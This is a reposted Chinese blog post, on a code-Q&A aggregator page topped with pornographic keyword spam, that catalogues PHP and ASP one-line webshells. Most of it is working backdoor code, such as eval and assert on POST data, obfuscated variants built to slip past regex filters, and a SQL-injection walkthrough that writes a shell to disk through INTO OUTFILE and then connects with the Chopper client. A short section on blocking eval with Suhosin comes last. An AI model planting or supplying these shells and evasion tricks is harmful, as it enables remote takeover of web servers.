日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

常见的一句话muma

發布時間:2023/12/16 编程问答 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 常见的一句话muma 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

?????????????????????????

一句話******原理

<%execute request(“#”)%>是典型的一句話***服務端代碼,將這個代碼寫入asp文件,就成了一句話***服務端文件。

仔細觀察一下<%execute request(“#”)%>這句代碼,括號里的“#”是我們一句話的密碼,我們可以把它改成任意字符,這樣可以避免別人發現我們的一句話***后,輕松的通過它撿個大便宜,如果我們上傳的一句話代碼為<%execute request(“123456″)%>。那么在客戶端連接文件里要將textarea name=”#”將其改為對應的textarea name=“123456”,才能連接成功。

一句話***工作的原理:

將一句話***插入到asp文件中(包括asa.cdx.cer文件),該語句將會作為觸發,接收***者通過客戶端提交的數據,執行并完成相應的***操作。

客戶端則用來向服務端提交控制數據,提交的數據通過服務端構成完整的asp功能語句并執行,也就是生成我們所需要的asp***文件。

一句話***能連接成功有兩個前提條件:

一、服務器端沒有禁止Adodb.Stream組件,因為我們使用一句話***寫入WebShell代碼的條件是服務器端創建Adodb.Stream組件,如果該組件被禁用的話無法寫入。

二、權限問題,如果當前的虛擬目錄禁止user組或者everyone寫入,同樣不會成功。

如何啟用一句話***攔截功能?

(1)在服務器 wzxStopKeyWord.ini 文件中,設置 blockmuma = 1 表示啟用此功能,攔截一句話***。

(2)重啟IIS即可生效。

?

.eval

eval用法:

eval() 函數把字符串按照 PHP 代碼來計算。

該字符串必須是合法的 PHP 代碼,且必須以分號結尾。

如果沒有在代碼字符串中調用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數返回 false

1 <?phpeval($_POST[password]);?>

.assert

Assert用法:

assert這個函數在php語言中是用來判斷一個表達式是否成立。返回true or false;

這跟eval()類似。不過eval($code_str)只是執行符合php編碼規范的,assert的用法卻更詳細一點 。

assert_option()可以用來對assert()進行一些約束和控制

默認值:

1 2 3 4 5 ASSERT_ACTIVE=1//Assert函數的開關 ASSERT_WARNING=1//當表達式為false時,是否要輸出警告性的錯誤提示,issue a PHP warning for each failed assertion ASSERT_BAIL=0//是否要中止運行;terminate execution on failed assertions ASSERT_QUIET_EVAL=0//是否關閉錯誤提示,在執行表達式時;disable error_reporting during assertion expression evaluation ASSERT_CALLBACK=(NULL)// 是否啟動回調函數 user function to call on failed assertions

可以通過以上方法修改assert后門,達到繞過正則:

1 <?phpassert($_POST[password]);?>

.變形一句話:

1 <?php$_GET['xxoo']($_POST['cmd']);?>

客戶端用菜刀,密碼cmdurltest.php?xxoo=assert

1 <?php$_POST['xxoo']($_POST['cmd']);?>

這個是直接發post數據包就OK

1 2 3 4 5 6 7 <?php $a=“a”.”s”.”s”.”e”.”r”.”t”; $a($_POST["cmd"]); ?>

1 <?php($_=@$_GET[password]).@$_($_POST[xxoo])?>

利用方法:http://localhost/password.php?password=asstrt

原理就是get傳遞參數assert然后形成@asserT@($_($_POST[xxoo])

1 <?php$_POST['password']($_POST['cmd']);?

提交post內容形成assert,eval

.通過str_replace替換

$a = str_replace(x,””,”axsxxsxexrxxt”)

最后要形成的是$a = assert

.

1 2 3 <?php @preg_replace(“/[email]/e”,$_POST['h'],”error”); ?>

談談這個后門吧,這個是用e修飾符,只需要e所在的位置跟最后的”error”正則匹配正確就會$_POST[‘h’]的內容。

那么我們只需要用菜刀<O>h=@assert($_POST[c]);</O>就可以,讓h參數執行。

.

1 2 3 4 5 6 7 <?php $_=""; $_[+""]=''; $_="$_".""; $_=($_[+""]|"").($_[+""]|"").($_[+""]^""); ?> <?php${'_'.$_}['_'](${'_'.$_}['__']);?>

菜刀里寫:http://localhost/2.php?_=assert&__=eval($_POST[‘xxoo’])

密碼:xxoo

原理分析你只需要讓$_拼接打印即可。

.

1 2 3 <?php ($b4dboy=$_POST['1'])&&@preg_replace(‘/ad/e,,'@,.str_rot13(‘riny,).,($b4dboy)','add'); ?>

‘@’.str_rot13(‘riny’)相當于@eval,然后你懂的。

其實大都數原理都是如此,加了變形,解析后依然是原裝語句eval,assert

?

在這里順便講一下SQL注入中寫一句話拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 這個語句,下面是一個語句的例子:

SELECT * INTO OUTFILE 'C:\log1.txt'

??這樣就可以把查詢到的數據寫入到C盤的log1.txt這個文件里面。利用這個原理我們可以把PHP的一句話***寫到磁盤上從而拿到webshell

??本地的目標站點來實戰一下,我們的目的是在目標的物理路徑D:/WWW/下面生成一個php文件,從而可以使我們用菜刀連接上去

先簡單的判斷是否存在注入漏洞利用, 使用單引號'報錯, 然后是and 1=1 頁面正常 和 and 1=2 頁面不正常判斷存在sql注入漏洞,現在猜測一下字段數量。

??order by 3的時候會出現錯誤,2的時候正確于是猜測字段2,現在我們通過union查詢語句查詢一下當前的用戶是誰。

猜測可能是file權限,試試寫一下***到網站路徑,***一定要寫16進制。下面我們的一句話是 <?php eval($_POST[ximo]); ?>16進制

然后菜刀連接即可成功(如有不懂可以聯系本人,本人將會將最詳細的指導你,僅限妹子)

?

?

eval函數簡介與PHP一句話***剖析

一:eval函數

1.eval() 函數把字符串按照 PHP 代碼來計算。

2.該字符串必須是合法的 PHP 代碼,且必須以分號結尾。

3.如果沒有在代碼字符串中調用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數返回 false

?

二:eval函數的一般用法

<?php

$string = "beautiful";

$time = "winter";

$str = 'This is a $string $time morning!';

echo $str. "<br />";

eval("\$str = \"$str\";");

echo $str;

?>

輸出

This is a $string $time morning!

This is a beautiful winter morning!

三:eval函數的特殊用法

eval($_GET["cmd"]);

四:php一句話掛馬的原理

?

1.通過數據庫寫馬:

select "<?php eval($_GET['cmd'])'?>" into outfile "D:\\phpStudy\\WWW\\bb.php",不過這個命令是DBweb在同一臺機器的時候可以這樣執行

2.通過web寫馬

<?php

eval($_GET["cmd"]);

?>

訪問:

http://localhost/aa.php?cmd=fwrite(fopen("aa.txt", "w"),"hello,world!");

查看phpshell信息:

http://localhost/aa.php?cmd=phpinfo();

查看當前運行的服務

http://localhost/aa.php?cmd=system("net start");

五:禁用eval函數

無論是linux服務器還是windows服務器,eval命令是非常危險的

如何禁用eval命令

php.ini中這樣設置disable_functions =eval是無法禁用eval的,根據php手冊說明,eval是一個語言構造器而不是一個函數。如果要禁用eval,則需要第三方擴展,使用Suhosin

?

linux下安裝:

?

php的安裝就不寫了

?

suhosin的安裝

?

wget http://download.suhosin.org/suhosin-0.9.23.tgz

?

tar zxvf suhosin-0.9.23.tgz

?

cd suhosin-0.9.23

?

/usr/local/php/bin/phpize //這一步不能省

?

./configure --with-php-config=/usr/local/php/bin/php-config //必須在這兒注明php-config所在的絕對路徑。

?

make && make install

?

Installing shared extensions: /usr/local/php/lib/php/extensions/no-debug-non-zts-20060613/

?

然后在php.ini中增加一行下列語句。

?

extension=suhosin.so

?

suhosin.executor.disable_eval = on

像以上的一句話***都是比較常見的類型,希望各位補充,也方便大家互相學習互相進步,共同在網絡上實現自己的夢想


轉載于:https://blog.51cto.com/superwolf/1916324

總結

以上是生活随笔為你收集整理的常见的一句话muma的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。